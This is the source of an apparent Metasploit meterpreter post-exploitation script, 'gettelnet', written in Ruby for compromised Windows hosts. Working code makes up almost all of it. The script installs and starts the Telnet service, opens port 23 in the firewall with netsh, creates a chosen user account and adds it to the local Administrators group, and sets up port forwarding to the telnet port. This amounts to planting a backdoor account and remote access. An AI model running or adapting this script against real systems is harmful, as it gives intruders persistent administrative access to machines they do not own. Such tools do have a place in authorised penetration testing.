Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
3
# If you'd like to improve this script, please try to port it as a post
4
# module instead. Thank you.
5
##
6

7

8
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
9
#-------------------------------------------------------------------------------
10
################## Variable Declarations ##################
11
@client = client
12
host_name = client.sys.config.sysinfo['Computer']
13
# Create Filename info to be appended to downloaded files
14
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
15

16
# Create a directory for the logs
17
logs = ::File.join(Msf::Config.log_directory,'scripts', 'gettelnet')
18

19
# Create the log directory
20
::FileUtils.mkdir_p(logs)
21

22
# Cleanup script file name
23
@dest = logs + "/clean_up_" + filenameinfo + ".rc"
24

25
@@exec_opts = Rex::Parser::Arguments.new(
26
  "-h" => [ false, "Help menu." ],
27
  "-e" => [ false, "Enable Telnet Server only."  ],
28
  "-p" => [ true,  "The Password of the user to add."  ],
29
  "-u" => [ true,  "The Username of the user to add."  ],
30
  "-f" => [ true,  "Forward Telnet Connection." ]
31
)
32
def checkifinst()
33
  # This won't work on windows 2000 since there is no sc.exe
34
  print_status("Checking if Telnet is installed...")
35
  begin
36
    registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\services\\TlntSvr\\","Start")
37
    return true
38
  rescue
39
    return false
40

41
  end
42
end
43

44
#---------------------------------------------------------------------------------------------------------
45
def insttlntsrv()
46
  trgtos = @client.sys.config.sysinfo['OS']
47
  if trgtos =~ /Vista|7|2008/
48
    print_status("Checking if Telnet Service is Installed")
49
    if checkifinst()
50
      print_status("Telnet Service Installed on Target")
51
    else
52
      print_status("Installing Telnet Server Service ......")
53
      cmd_exec("cmd /c ocsetup TelnetServer")
54
      prog2check = "ocsetup.exe"
55
      found = 0
56
      while found == 0
57
        @client.sys.process.get_processes().each do |x|
58
          found =1
59
          if prog2check == (x['name'].downcase)
60
            print_line "*"
61
            sleep(0.5)
62
            found = 0
63
          end
64
        end
65
      end
66
      file_local_write(@dest,"execute -H -f cmd.exe -a \"/c ocsetup TelnetServer /uninstall\"")
67
      print_status("Finished installing the Telnet Service.")
68

69
    end
70
  elsif trgtos =~ /2003/
71
    file_local_write(@dest,"reg setval -k \"HKLM\\SYSTEM\\CurrentControlSet\\services\\TlntSvr\\\" -v 'Start' -d \"1\"")
72
  end
73
end
74
#---------------------------------------------------------------------------------------------------------
75
def enabletlntsrv()
76
  key2 = "HKLM\\SYSTEM\\CurrentControlSet\\services\\TlntSvr\\"
77
  value2 = "Start"
78
  begin
79
    v2 = registry_getvaldata(key2,value2)
80
    print_status "Setting Telnet Server Services service startup mode"
81
    if v2 != 2
82
      print_status "\tThe Telnet Server Services service is not set to auto, changing it to auto ..."
83
      cmmds = [ 'sc config TlntSvr start= auto', "sc start TlntSvr", ]
84
      cmmds. each do |cmd|
85
        cmd_exec(cmd)
86
      end
87
    else
88
      print_status "\tTelnet Server Services service is already set to auto"
89
    end
90
    # Enabling Exception on the Firewall
91
    print_status "\tOpening port in local firewall if necessary"
92
    cmd_exec('netsh firewall set portopening protocol = tcp port = 23 mode = enable')
93

94
  rescue::Exception => e
95
    print_status("The following Error was encountered: #{e.class} #{e}")
96
  end
97

98
end
99
#---------------------------------------------------------------------------------------------------------
100
def addrdpusr(username, password)
101
  print_status "Setting user account for logon"
102
  print_status "\tAdding User: #{username} with Password: #{password}"
103
  begin
104
    cmd_exec("net user #{username} #{password} /add")
105
    file_local_write(@dest,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"")
106
    print_status "\tAdding User: #{username} to local group TelnetClients"
107
    cmd_exec("net localgroup \"TelnetClients\" #{username} /add")
108

109
    print_status "\tAdding User: #{username} to local group Administrators"
110
    cmd_exec("net localgroup Administrators #{username} /add")
111

112
    print_status "You can now login with the created user"
113
  rescue::Exception => e
114
    print_status("The following Error was encountered: #{e.class} #{e}")
115
  end
116
end
117
#---------------------------------------------------------------------------------------------------------
118
def message
119
  print_status "Windows Telnet Server Enabler Meterpreter Script"
120
end
121
def usage
122
  print_line("Windows Telnet Server Enabler Meterpreter Script")
123
  print_line("Usage: gettelnet -u <username> -p <password>")
124
  print_line(@@exec_opts.usage)
125
  raise Rex::Script::Completed
126
end
127

128

129
#check for proper Meterpreter Platform
130
def unsupported
131
  print_error("This version of Meterpreter is not supported with this Script!")
132
  raise Rex::Script::Completed
133
end
134

135

136
################## MAIN ##################
137
# Parsing of Options
138
usr = nil
139
pass = nil
140
frwrd = nil
141
enbl = nil
142
@@exec_opts.parse(args) { |opt, idx, val|
143
  case opt
144
  when "-u"
145
    usr = val
146
  when "-p"
147
    pass = val
148
  when "-h"
149
    usage
150
  when "-f"
151
    frwrd = true
152
  when "-e"
153
    enbl = true
154
  end
155

156
}
157

158
unsupported if client.platform != 'windows'
159

160
if enbl or (usr!= nil && pass != nil)
161
  message
162
  if enbl
163
    insttlntsrv()
164
    enabletlntsrv()
165
  end
166
  if (usr!= nil && pass != nil)
167
    addrdpusr(usr, pass)
168
  end
169
  print_status("For cleanup use command: run multi_console_command -r #{@dest}")
170

171
else
172
  usage
173
end
174
if frwrd == true
175
  print_status("Starting the port forwarding at local port #{lport}")
176
  client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p 23 -r 127.0.0.1")
177
end
178

179